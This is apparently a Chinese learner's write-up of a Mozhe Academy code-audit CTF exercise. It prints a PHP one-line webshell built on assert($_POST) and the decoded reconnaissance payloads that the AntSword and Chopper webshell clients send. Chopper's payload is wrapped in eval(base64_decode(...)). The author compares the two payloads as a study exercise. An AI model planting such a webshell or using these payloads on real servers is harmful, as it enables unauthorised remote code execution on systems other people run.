墨者学院的代码审计:
解题思路就不说了,这里推荐先知社区
这里整理一下在做题其中遇到的问题
第一题:
一句话木马,效果相当于这样
<?php assert($_POST['1']);?>
一开始用蚁剑链接的,报错,心想是不是过滤了什么。
然后直接用命令注入直接ls,cat,发现ls可以出来,cat不出来。
当时忘了用var_dump看看是被过滤了还是还是其他的什么原因。
但是用菜刀链接成功了,难道菜刀和蚁剑不是用的一套payload?
bp抓包,试一下。
蚁剑:(蚁剑用的是url编码,我解码,在格式化后的)
1 =
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "e0372";
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
} else {
$R.= "/";
}
$R.= " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R.= php_uname();
$R.= " {$s}";
echo $R;;
echo "d2119";
die();
emmm..有点复杂,先不研究这个
接着看菜刀:
1=@eval�(base64_decode($_POST[action]));
&action=
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
}
$R.= "\t";
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R.= php_uname();
$R.= "({$usr})";
print $R;;
echo ("|<-");
die();
对比一下发现,两段代码在构造php代码上基本没有区别
就是菜刀多加了一层eval
那这样的意义是什么呢
从柠檬师傅的帖子
看,emmm...看不懂..先贴着